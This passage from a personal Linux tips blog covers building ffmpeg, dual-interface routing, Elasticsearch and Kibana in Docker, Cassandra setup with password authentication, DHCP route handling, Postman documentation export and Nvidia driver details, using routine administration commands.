<span class="nt">--extra-libs</span><span class="o">=</span><span class="s2">"-lpthread -lm"</span> <span class="se">\</span>
<span class="nt">--ld</span><span class="o">=</span><span class="s2">"g++"</span> <span class="se">\</span>
<span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">--enable-gpl</span> <span class="se">\</span>
<span class="nt">--enable-gnutls</span> <span class="se">\</span>
<span class="nt">--enable-libfreetype</span> <span class="se">\</span>
<span class="nt">--enable-nonfree</span> <span class="se">\</span>
<span class="nt">--enable-libx264</span> <span class="se">\</span>
<span class="nt">--enable-libx265</span> <span class="se">\</span>
<span class="nt">--enable-libvpx</span> <span class="se">\</span>
<span class="nt">--enable-libaom</span> <span class="se">\</span>
<span class="nt">--enable-libsvtav1</span> <span class="se">\</span>
<span class="nt">--enable-libdav1d</span> <span class="se">\</span>
<span class="o">&&</span> <span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
make <span class="nt">-j8</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j8</span> <span class="nb">install</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nb">hash</span> <span class="nt">-r</span>
<span class="nt">--enable-libass</span> <span class="se">\</span>
<span class="nt">--enable-libfdk-aac</span> <span class="se">\</span>
<span class="nt">--enable-libmp3lame</span> <span class="se">\</span>
<span class="nt">--enable-libopus</span> <span class="se">\</span>
<span class="nt">--enable-libvorbis</span> <span class="se">\</span>
</code></pre></div></div>
<h4 id="examples">Examples</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span>/ffmpeg/doc/examples
make examples
</code></pre></div></div>
<h4 id="issues">Issues:</h4>
<ul>
<li>
<p>All configure options come from: ${FF_SOURCES}/ffmpeg/configure</p>
</li>
<li>
<p>If any configure failed: check config.log: ${FF_SOURCES}/ffmpeg/ffbuild/config.log</p>
</li>
<li>
<p>ERROR: gnutls not found using pkg-config</p>
</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://askubuntu.com/questions/1252997/unable-to-compile-ffmpeg-on-ubuntu-20-04
<span class="o">></span> <span class="nb">sudo </span>apt-get <span class="nb">install </span>libunistring-dev
</code></pre></div></div>
<ul>
<li>[libswresample vs. libavresample]</li>
</ul>
<p>http://ffmpeg.org/pipermail/ffmpeg-devel/2012-April/123746.html</p>
Two network interfaces on Ubuntu2021-07-25T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/07/25/two-network-interface-on-ubuntu<h4 id="ref">Ref</h4>
<ul>
<li>https://www.ni.com/en-vn/support/documentation/supplemental/11/best-practices-for-using-multiple-network-interfaces–nics–with.html</li>
</ul>
<h4 id="usage-case">Usage case</h4>
<p><img src="https://i.imgur.com/qw5Y8sQ.png" alt="" /></p>
<ul>
<li>Have two network interfaces on my PC: 1 to local network (<strong>eno1</strong>) and 1 to public network (<strong>enx_fe</strong>) as above</li>
<li>Want to use <strong>eno1</strong> for local trafic and <strong>enx_fe</strong> for internet access</li>
</ul>
<h4 id="solution">solution</h4>
<ul>
<li>Delete local defaul gateway + add route for local network</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>ip route del default via 10.150.124.1 dev eno1
<span class="nv">$ </span><span class="nb">sudo </span>route add <span class="nt">-net</span> 10.0.0.0/8 gw 10.150.124.1 dev eno1
</code></pre></div></div>
<ul>
<li>This means that: use <strong>eno1</strong> for trafic on <strong>10.0.0.0/8</strong> network and <strong>enx_fe</strong> for all others</li>
</ul>
Elasticsearch docker on Ubuntu2021-07-22T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/07/22/elasticsearch-on-ubuntu<h4 id="ref">Ref</h4>
<ul>
<li>https://www.elastic.co/guide/en/elasticsearch/reference/current/getting-started.html</li>
<li>https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html</li>
<li>https://www.elastic.co/guide/en/elastic-stack-get-started/current/get-started-docker.html</li>
<li>https://github.com/deviantony/docker-elk</li>
<li>https://github.com/quoeamaster/bigdata_blogs/tree/master/es_docker_deploy</li>
<li>https://learn.liferay.com/dxp/latest/en/using-search/installing-and-upgrading-a-search-engine/elasticsearch/installing-elasticsearch.html</li>
</ul>
<h4 id="run-docker-httpswwwelasticcoguideenelasticsearchreferencecurrentdockerhtml">Run docker (https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html)</h4>
<p><img src="https://i.imgur.com/29N8C4d.png" alt="" /></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker network create elastic
<span class="c"># Elasticsearh</span>
docker run <span class="nt">--name</span> es01-test <span class="nt">--net</span> elastic <span class="nt">-p</span> 9200:9200 <span class="nt">-p</span> 9300:9300 <span class="nt">-e</span> <span class="s2">"discovery.type=single-node"</span> docker.elastic.co/elasticsearch/elasticsearch:7.13.4
<span class="c"># To check Elasticsearch, curl -X GET "localhost:9200/?pretty"</span>
<span class="c"># Kibana</span>
docker run <span class="nt">--name</span> kib01-test <span class="nt">--net</span> elastic <span class="nt">-p</span> 5601:5601 <span class="nt">-e</span> <span class="s2">"ELASTICSEARCH_HOSTS=http://es01-test:9200"</span> docker.elastic.co/kibana/kibana:7.13.4
<span class="c"># To access Kibana, go to http://localhost:5601</span>
</code></pre></div></div>
<h4 id="docker-compose">Docker-compose</h4>
<ul>
<li>Install docker-compose (https://docs.docker.com/compose/install/#install-compose)</li>
</ul>
<p><img src="https://i.imgur.com/PKr2ywj.png" alt="" /></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>curl <span class="nt">-L</span> <span class="s2">"https://github.com/docker/compose/releases/download/1.29.2/docker-compose-</span><span class="si">$(</span><span class="nb">uname</span> <span class="nt">-s</span><span class="si">)</span><span class="s2">-</span><span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span><span class="s2">"</span> <span class="nt">-o</span> /usr/local/bin/docker-compose
</code></pre></div></div>
<h5 id="docker-elk-template">Docker-elk template</h5>
<p><img src="https://i.imgur.com/OtLiYgm.png" alt="" /></p>
<ul>
<li>https://github.com/deviantony/docker-elk</li>
<li>https://github.com/memto/elk-local</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># clone your repo created from template above</span>
git clone https://github.com/memto/elk-local
<span class="nb">cd </span>elk-local
<span class="c"># update ELASTIC_PASSWORD in docker-compose.yml and disable paid features</span>
docker-compose up
</code></pre></div></div>
<h5 id="custom-docker-compose-httpsdocsdockercomcomposecompose-file">Custom docker-compose (https://docs.docker.com/compose/compose-file/)</h5>
<ul>
<li><strong>Note:</strong>
<ul>
<li>there should be no space in environment setting</li>
</ul>
</li>
<li>ek-single-compose.yaml</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>version: <span class="s2">"3.8"</span>
services:
es01:
image: docker.elastic.co/elasticsearch/elasticsearch:7.13.4
container_name: es01-local
ports:
- 9200:9200
- 9300:9300
environment:
<span class="c"># Use single node discovery in order to disable production mode and avoid bootstrap checks.</span>
<span class="c"># see: https://www.elastic.co/guide/en/elasticsearch/reference/current/bootstrap-checks.html</span>
- discovery.type<span class="o">=</span>single-node
<span class="c"># - transport.host=localhost # Opt1</span>
<span class="c"># - http.host=0.0.0.0</span>
<span class="c"># - transport.tcp.port=9300</span>
<span class="c"># - http.port=9200</span>
<span class="c"># - "ES_JAVA_OPTS=-Xmx256m -Xms256m -Des.enforce.bootstrap.checks=true" # Opt2</span>
<span class="c"># - "ES_JAVA_OPTS=-Xmx256m -Xms256m"</span>
<span class="c"># - bootstrap.memory_lock=false</span>
<span class="c"># - xpack.security.enabled=false</span>
<span class="c"># - ELASTIC_PASSWORD:changeme</span>
<span class="c"># volumes:</span>
<span class="c"># - es-data:/usr/share/elasticsearch/data</span>
networks:
- elastic
kiba01:
image: docker.elastic.co/kibana/kibana:7.13.4
container_name: kiba01-local
ports:
- 5601:5601
environment:
- <span class="nv">SERVER_NAME</span><span class="o">=</span>kibana
- <span class="nv">ELASTICSEARCH_URL</span><span class="o">=</span>http://es01:9200
- <span class="nv">ELASTICSEARCH_HOSTS</span><span class="o">=</span>http://es01:9200
depends_on:
- es01
networks:
- elastic
networks:
elastic:
driver: bridge
volumes:
es-data:
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker-compose <span class="nt">-f</span> ek-single-compose.yaml up <span class="nt">--remove-orphan</span>
</code></pre></div></div>
<ul>
<li>Ports info</li>
</ul>
<p><img src="https://i.imgur.com/pEI98Fp.png" alt="" /></p>
<h4 id="some-commands">Some commands</h4>
<ul>
<li>list all indices</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://localhost:9200/_cat/indices?v<span class="o">=</span><span class="nb">true</span>&s<span class="o">=</span>index&pretty
curl <span class="nt">-X</span> GET <span class="s2">"localhost:9200/_cat/indices?v=true&s=index&pretty"</span>
</code></pre></div></div>
<p><img src="https://i.imgur.com/09swCXu.png" alt="" /></p>
<ul>
<li>list all from index</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://localhost:9200/shirts/_search?pretty<span class="o">=</span><span class="nb">true</span>&q<span class="o">=</span><span class="k">*</span>:<span class="k">*</span>
</code></pre></div></div>
<p><img src="https://i.imgur.com/UXiAAil.png" alt="" /></p>
<ul>
<li>select entry</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://localhost:9200/shirts/_search?pretty<span class="o">=</span><span class="nb">true</span>&q<span class="o">=</span>brand:gucci
</code></pre></div></div>
InteliJ Spring Boot Java file outside of source root2021-07-20T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/07/20/intelij-spring-boot-java-file-outside-of-source-root<h4 id="issue1-create-new-maven-project-prj1-in-parrent1-folder-then-open-parent1-folder-in-intelij">Issue1: create new maven project “prj1” in “parrent1” folder then open “parent1” folder in InteliJ</h4>
<ul>
<li>
<p>pom.xml show as XML file only
<img src="https://i.imgur.com/zp3VtKi.png" alt="" /></p>
</li>
<li>
<p>cannot create Java class/package/interface <br />
<img src="https://i.imgur.com/ZKFM0Qt.png" alt="" /></p>
</li>
<li>
<p>Fix1:</p>
<ul>
<li>Right click on pom.xml file > Add as Maven Project <br />
<img src="https://i.imgur.com/Vlmfh4r.png" alt="" /> <br />
<img src="https://i.imgur.com/zyB9UOT.png" alt="" /></li>
</ul>
</li>
</ul>
<h4 id="issue2-intelij-spring-boot-java-file-outside-of-source-root-project-clone-somewhere">Issue2: InteliJ Spring Boot Java file outside of source root (project clone somewhere)</h4>
<p><img src="https://i.imgur.com/yf2kZFf.png" alt="" /></p>
<ul>
<li>Fix2: mark “java” folder as source root</li>
</ul>
<p><img src="https://i.imgur.com/MO1kjPX.png" alt="" /></p>
Cassandra DB on Ubuntu2021-07-08T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/07/08/cassandra-db-on-ubuntu<h4 id="ref">Ref</h4>
<ul>
<li>https://linuxize.com/post/how-to-install-apache-cassandra-on-ubuntu-18-04/</li>
<li>https://www.guru99.com/cassandra-security.html</li>
</ul>
<h4 id="notes">Notes</h4>
<ul>
<li>On my system, I need java 11/above for some app/service. However, it seems Cassandra only run stable with java 8. These are java version on my system.</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>update-alternatives <span class="nt">--config</span> java
There are 3 choices <span class="k">for </span>the alternative java <span class="o">(</span>providing /usr/bin/java<span class="o">)</span><span class="nb">.</span>
Selection Path Priority Status
<span class="nt">------------------------------------------------------------</span>
<span class="k">*</span> 0 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1111 auto mode
1 /mnt/2tb_ext4/installed/java/current/bin/java 1 manual mode
2 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1111 manual mode
3 /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java 1081 manual mode
</code></pre></div></div>
<ul>
<li>Run with this default will cause some error like below:</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nodetool status
ERROR 13:39:56,957 Cannot initialize un-mmaper. <span class="o">(</span>Are you using a non-Oracle JVM?<span class="o">)</span> Compacted data files will not be removed promptly. Consider using an Oracle JVM or using standard disk access mode
java.lang.NoSuchMethodError: <span class="s1">'sun.misc.Cleaner sun.nio.ch.DirectBuffer.cleaner()'</span>
at org.apache.cassandra.io.util.FileUtils.<clinit><span class="o">(</span>FileUtils.java:75<span class="o">)</span> ~[apache-cassandra-3.11.10.jar:3.11.10]
at org.apache.cassandra.utils.FBUtilities.getToolsOutputDirectory<span class="o">(</span>FBUtilities.java:880<span class="o">)</span> ~[apache-cassandra-3.11.10.jar:3.11.10]
at org.apache.cassandra.tools.NodeTool.printHistory<span class="o">(</span>NodeTool.java:216<span class="o">)</span> ~[apache-cassandra-3.11.10.jar:3.11.10]
at org.apache.cassandra.tools.NodeTool.execute<span class="o">(</span>NodeTool.java:184<span class="o">)</span> ~[apache-cassandra-3.11.10.jar:3.11.10]
at org.apache.cassandra.tools.NodeTool.main<span class="o">(</span>NodeTool.java:56<span class="o">)</span> ~[apache-cassandra-3.11.10.jar:3.11.10]
error: null
<span class="nt">--</span> StackTrace <span class="nt">--</span>
java.lang.NullPointerException
at org.apache.cassandra.config.DatabaseDescriptor.getDiskFailurePolicy<span class="o">(</span>DatabaseDescriptor.java:1995<span class="o">)</span>
at org.apache.cassandra.utils.JVMStabilityInspector.inspectThrowable<span class="o">(</span>JVMStabilityInspector.java:102<span class="o">)</span>
at org.apache.cassandra.utils.JVMStabilityInspector.inspectThrowable<span class="o">(</span>JVMStabilityInspector.java:60<span class="o">)</span>
at org.apache.cassandra.io.util.FileUtils.<clinit><span class="o">(</span>FileUtils.java:81<span class="o">)</span>
at org.apache.cassandra.utils.FBUtilities.getToolsOutputDirectory<span class="o">(</span>FBUtilities.java:880<span class="o">)</span>
at org.apache.cassandra.tools.NodeTool.printHistory<span class="o">(</span>NodeTool.java:216<span class="o">)</span>
at org.apache.cassandra.tools.NodeTool.execute<span class="o">(</span>NodeTool.java:184<span class="o">)</span>
at org.apache.cassandra.tools.NodeTool.main<span class="o">(</span>NodeTool.java:56<span class="o">)</span>
<span class="nv">$ </span>cqlsh
Connection error: <span class="o">(</span><span class="s1">'Unable to connect to any servers'</span>, <span class="o">{</span><span class="s1">'127.0.0.1'</span>: error<span class="o">(</span>111, <span class="s2">"Tried connecting to [('127.0.0.1', 9042)]. Last error: Connection refused"</span><span class="o">)})</span>
<span class="nv">$ </span>cassandra
<span class="o">[</span>0.001s][warning][gc] <span class="nt">-Xloggc</span> is deprecated. Will use <span class="nt">-Xlog</span>:gc:/var/log/cassandra/gc.log instead.
intx <span class="nv">ThreadPriorityPolicy</span><span class="o">=</span>42 is outside the allowed range <span class="o">[</span> 0 ... 1 <span class="o">]</span>
Improperly specified VM option <span class="s1">'ThreadPriorityPolicy=42'</span>
Error: Could not create the Java Virtual Machine.
Error: A fatal exception has occurred. Program will exit.
</code></pre></div></div>
<ul>
<li>Fix cassandra</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># set JAVA_HOME in config file
$ sudo vim /etc/default/cassandra
# EXTRA_CLASSPATH provides the means to extend Cassandra's classpath with
# additional libraries. It is formatted as a colon-delimited list of
# class directories and/or jar files. For example, to enable the
# JMX-to-web bridge install libmx4j-java and uncomment the following.
#EXTRA_CLASSPATH="/usr/share/java/mx4j-tools.jar"
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
# reload service
sudo systemctl stop cassandra.service
sudo systemctl start cassandra.service
</code></pre></div></div>
<ul>
<li>Fix nodetool</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Run with JAVA_HOME</span>
<span class="nv">$ JAVA_HOME</span><span class="o">=</span>/usr/lib/jvm/java-8-openjdk-amd64 nodetool status
<span class="c"># edit nodetool and hard-code JAVA</span>
<span class="nv">$ </span><span class="nb">sudo </span>vim /usr/bin/nodetool
<span class="c"># Use JAVA_HOME if set, otherwise look for java in PATH</span>
<span class="k">if</span> <span class="o">[</span> <span class="nt">-x</span> <span class="s2">"</span><span class="nv">$JAVA_HOME</span><span class="s2">/bin/java"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nv">JAVA</span><span class="o">=</span><span class="s2">"</span><span class="nv">$JAVA_HOME</span><span class="s2">/bin/java"</span>
<span class="k">else
</span><span class="nv">JAVA</span><span class="o">=</span><span class="s2">"</span><span class="sb">`</span>which java<span class="sb">`</span><span class="s2">"</span>
<span class="k">fi
</span><span class="nv">JAVA</span><span class="o">=</span>/usr/lib/jvm/java-8-openjdk-amd64/bin/java
<span class="k">if</span> <span class="o">[</span> <span class="s2">"x</span><span class="nv">$JAVA</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"x"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nb">echo</span> <span class="s2">"Java executable not found (hint: set JAVA_HOME)"</span> <span class="o">></span>&2
<span class="nb">exit </span>1
<span class="k">fi
if</span> <span class="o">[</span> <span class="nt">-z</span> <span class="s2">"</span><span class="nv">$CASSANDRA_CONF</span><span class="s2">"</span> <span class="nt">-o</span> <span class="nt">-z</span> <span class="s2">"</span><span class="nv">$CLASSPATH</span><span class="s2">"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nb">echo</span> <span class="s2">"You must set the CASSANDRA_CONF and CLASSPATH vars"</span> <span class="o">></span>&2
<span class="nb">exit </span>1
<span class="k">fi</span>
</code></pre></div></div>
<h4 id="configure-authentication-and-authorization">Configure Authentication and Authorization</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>vim /etc/cassandra/cassandra.yaml
<span class="c"># Authentication backend, implementing IAuthenticator; used to identify users</span>
<span class="c"># Out of the box, Cassandra provides org.apache.cassandra.auth.{AllowAllAuthenticator,</span>
<span class="c"># PasswordAuthenticator}.</span>
<span class="c">#</span>
<span class="c"># - AllowAllAuthenticator performs no checks - set it to disable authentication.</span>
<span class="c"># - PasswordAuthenticator relies on username/password pairs to authenticate</span>
<span class="c"># users. It keeps usernames and hashed passwords in system_auth.roles table.</span>
<span class="c"># Please increase system_auth keyspace replication factor if you use this authenticator.</span>
<span class="c"># If using PasswordAuthenticator, CassandraRoleManager must also be used (see below)</span>
<span class="c">#authenticator: AllowAllAuthenticator</span>
authenticator: PasswordAuthenticator
<span class="c">#authenticator: com.datastax.bdp.cassandra.auth.PasswordAuthenticator</span>
<span class="c"># Authorization backend, implementing IAuthorizer; used to limit access/provide permissions</span>
<span class="c"># Out of the box, Cassandra provides org.apache.cassandra.auth.{AllowAllAuthorizer,</span>
<span class="c"># CassandraAuthorizer}.</span>
<span class="c">#</span>
<span class="c"># - AllowAllAuthorizer allows any action to any user - set it to disable authorization.</span>
<span class="c"># - CassandraAuthorizer stores permissions in system_auth.role_permissions table. Please</span>
<span class="c"># increase system_auth keyspace replication factor if you use this authorizer.</span>
<span class="c">#authorizer: AllowAllAuthorizer</span>
authorizer: CassandraAuthorizer
<span class="c">#authorizer: com.datastax.bdp.cassandra.auth.CassandraAuthorizor </span>
<span class="c"># reload service</span>
<span class="nb">sudo </span>systemctl stop cassandra.service
<span class="nb">sudo </span>systemctl start cassandra.service
<span class="c"># login and change password</span>
<span class="nv">$ </span>cqlsh <span class="nt">-u</span> cassandra <span class="nt">-p</span> cassandra
<span class="o">[</span>cqlsh 5.0.1 | Cassandra 3.11.10 | CQL spec 3.4.4 | Native protocol v4]
Use HELP <span class="k">for </span>help.
cassandra@cqlsh> alter user cassandra with password <span class="s1">'newpassword'</span><span class="p">;</span>
</code></pre></div></div>
<h4 id="configure-data-directory">Configure data directory</h4>
<ul>
<li>https://docs.datastax.com/en/dse/6.7/dse-admin/datastax_enterprise/config/configCassandra_yaml.html#Defaultdirectories</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>vim /etc/cassandra/cassandra.yaml
</code></pre></div></div>
<h3 id="query">Query</h3>
<ul>
<li>
<p>How to list all cassandra tables (https://stackoverflow.com/a/38698339)</p>
<p>There are system tables which can provide information about stored keyspaces, tables, columns.
Try run follows commands in cqlsh console:</p>
<ol>
<li>Get keyspaces info
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="k">system</span><span class="p">.</span><span class="n">schema_keyspaces</span> <span class="p">;</span>
</code></pre></div> </div>
</li>
<li>Get tables info
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">SELECT</span> <span class="n">columnfamily_name</span> <span class="k">FROM</span> <span class="k">system</span><span class="p">.</span><span class="n">schema_columnfamilies</span> <span class="k">WHERE</span> <span class="n">keyspace_name</span> <span class="o">=</span> <span class="s1">'keyspace name'</span><span class="p">;</span>
</code></pre></div> </div>
</li>
<li>Get table info
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">SELECT</span> <span class="k">column_name</span><span class="p">,</span> <span class="k">type</span><span class="p">,</span> <span class="k">validator</span> <span class="k">FROM</span> <span class="k">system</span><span class="p">.</span><span class="n">schema_columns</span> <span class="k">WHERE</span> <span class="n">keyspace_name</span> <span class="o">=</span> <span class="s1">'keyspace name'</span> <span class="k">AND</span> <span class="n">columnfamily_name</span> <span class="o">=</span> <span class="s1">'table name'</span><span class="p">;</span>
</code></pre></div> </div>
</li>
</ol>
<p>Since v 5.0.x Docs</p>
<ol>
<li>Get keyspaces info
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="k">system</span><span class="p">.</span><span class="n">schema_keyspaces</span> <span class="p">;</span>
</code></pre></div> </div>
</li>
<li>Get tables info
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">system_schema</span><span class="p">.</span><span class="n">tables</span> <span class="k">WHERE</span> <span class="n">keyspace_name</span> <span class="o">=</span> <span class="s1">'keyspace name'</span><span class="p">;</span>
</code></pre></div> </div>
</li>
<li>Get table info
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">system_schema</span><span class="p">.</span><span class="n">columns</span>
<span class="k">WHERE</span> <span class="n">keyspace_name</span> <span class="o">=</span> <span class="s1">'keyspace_name'</span> <span class="k">AND</span> <span class="k">table_name</span> <span class="o">=</span> <span class="s1">'table_name'</span><span class="p">;</span>
</code></pre></div> </div>
</li>
</ol>
<p>Since v 6.0 Docs</p>
<ol>
<li>Get keyspaces info
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="k">system</span><span class="p">.</span><span class="n">schema_keyspaces</span> <span class="p">;</span>
</code></pre></div> </div>
</li>
<li>Get tables info
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">system_schema</span><span class="p">.</span><span class="n">tables</span> <span class="k">WHERE</span> <span class="n">keyspace_name</span> <span class="o">=</span> <span class="s1">'keyspace name'</span><span class="p">;</span>
</code></pre></div> </div>
</li>
<li>Get table info
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">system_schema</span><span class="p">.</span><span class="n">columns</span>
<span class="k">WHERE</span> <span class="n">keyspace_name</span> <span class="o">=</span> <span class="s1">'keyspace_name'</span> <span class="k">AND</span> <span class="k">table_name</span> <span class="o">=</span> <span class="s1">'table_name'</span><span class="p">;</span>
</code></pre></div> </div>
</li>
</ol>
</li>
<li>
<p>Prettifying results of cqlsh commands (https://stackoverflow.com/a/35898544)</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">EXPAND</span> <span class="k">ON</span><span class="p">;</span>
</code></pre></div> </div>
</li>
</ul>
Ubuntu - how to ignore DNS and default route on all but one?2021-07-02T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/07/02/ubuntu-how-to-ignore-dns-and-default-route-on-all-but-one<h3 id="credit">credit</h3>
<ul>
<li>https://serverfault.com/questions/674731/multiple-dhcp-uplinks-how-to-ignore-dns-and-default-route-on-all-but-one</li>
<li>https://serverfault.com/a/674738</li>
</ul>
<p>(I am still interested in solutions that only touch /etc/network/interfaces{,.d/}, but not /etc/dhcp/. In the absence of such solutions, I use this one.)</p>
<p>In /etc/dhcp*/dhclient.conf, remove the options routers, domain-name-servers, domain-name, domain-search from the global request statement. Then add this (assuming eth0 is the device where default route and DNS shall not get ignored):</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>interface <span class="s2">"eth0"</span> <span class="o">{</span>
also request routers, domain-name-servers, domain-name, domain-search<span class="p">;</span>
<span class="o">}</span>
</code></pre></div></div>
<p>This solution works at least for isc-dhcp-client version 4.2.2.dfsg.1-5+deb70u8 as it is shipped with Debian 7. I assume it works for later versions too.</p>
<p>Edit:</p>
<p>Confirmed that the original idea works with minor changes (eth0 must be quoted, and it should be request, not required)
Specified the dlclient version this works for</p>
Postman collection to API doc pdf2021-06-22T00:00:00+00:00http://memto.github.io/linux/tooltips/2021/06/22/postman-collection-to-api-doc-pdf<h3 id="ref">Ref:</h3>
<ul>
<li>https://apievangelist.com/2020/06/08/the-open-source-community-tooling-built-on-postman/</li>
</ul>
<h3 id="tools">Tools</h3>
<ul>
<li>https://github.com/thedevsaddam/docgen
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://raw.githubusercontent.com/thedevsaddam/docgen/v3/install.sh <span class="nt">-o</span> install.sh <span class="se">\</span>
<span class="o">&&</span> <span class="nb">sudo chmod</span> +x install.sh <span class="se">\</span>
<span class="o">&&</span> <span class="nb">sudo</span> ./install.sh <span class="se">\</span>
<span class="o">&&</span> <span class="nb">rm </span>install.sh
</code></pre></div> </div>
</li>
<li>Sublime
<ul>
<li>https://packagecontrol.io/packages/MarkdownEditing</li>
<li>https://packagecontrol.io/packages/MarkdownPreview</li>
</ul>
</li>
</ul>
<h3 id="steps">Steps</h3>
<ul>
<li>Convert collection to markdown
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docgen build <span class="nt">-i</span> input-postman-collection.json <span class="nt">-o</span> ~/Downloads/index.md <span class="nt">-m</span>
</code></pre></div> </div>
</li>
<li>Open generated markdown</li>
<li>Open “Markdown Preview: Preview in browser”</li>
<li>Ctrl + P to print to PDF</li>
</ul>
Graphic driver on Linux/Ubuntu (Nvidia/Intel)2021-06-22T00:00:00+00:00http://memto.github.io/linux/tooltips/2021/06/22/graphic-driver-on-linux-ubuntu-nvidia-intel<h3 id="ref">Ref:</h3>
<ul>
<li>https://wiki.debian.org/HardwareVideoAcceleration</li>
<li>https://wiki.archlinux.org/title/Hardware_video_acceleration</li>
<li>//</li>
<li>http://lifestyletransfer.com/how-to-install-nvidia-gstreamer-plugins-nvenc-nvdec-on-ubuntu/</li>
<li>http://lifestyletransfer.com/how-to-install-gstreamer-vaapi-plugins-on-ubuntu/</li>
<li>https://tome.one/playing-10bit-hevc-videos-on-linux-with-nvidia-and-mpv.html</li>
</ul>
<h3 id="get-information">Get information</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>lspci <span class="nt">-vnn</span> | <span class="nb">grep </span>VGA
<span class="nb">sudo </span>lshw <span class="nt">-c</span> video
<span class="nb">sudo </span>lshw <span class="nt">-c</span> display
</code></pre></div></div>
<ul>
<li>=> Nvidia GeForce GTX 1050ti 4GB - NVIDIA Corporation GP107 [GeForce GTX 1050 Ti] - Pascal</li>
<li>=> Info:
<ul>
<li>Spec (https://www.nvidia.com/en-gb/geforce/graphics-cards/geforce-gtx-1050-ti/specifications)</li>
</ul>
<p><img src="https://i.imgur.com/67DGtDF.png" alt="" /></p>
<ul>
<li>GeForce 10 Series (https://www.nvidia.com/en-us/drivers/unix/)</li>
</ul>
<p><img src="https://i.imgur.com/5AEhjMj.png" alt="" /></p>
</li>
</ul>
<h3 id="install-driver">Install driver</h3>
<ul>
<li>Option 1: when install OS, or from Software & Updates</li>
</ul>
<p><img src="https://i.imgur.com/MedtrFk.png" alt="" /></p>
<p><img src="https://i.imgur.com/Kb9LXmI.png" alt="" /></p>
<ul>
<li>Option 2: Install CUDA</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># https://forums.developer.nvidia.com/t/cuda-for-geforce-gtx-1050-ti/57928/3</span>
<span class="c"># https://en.wikipedia.org/wiki/CUDA#GPUs_supported</span>
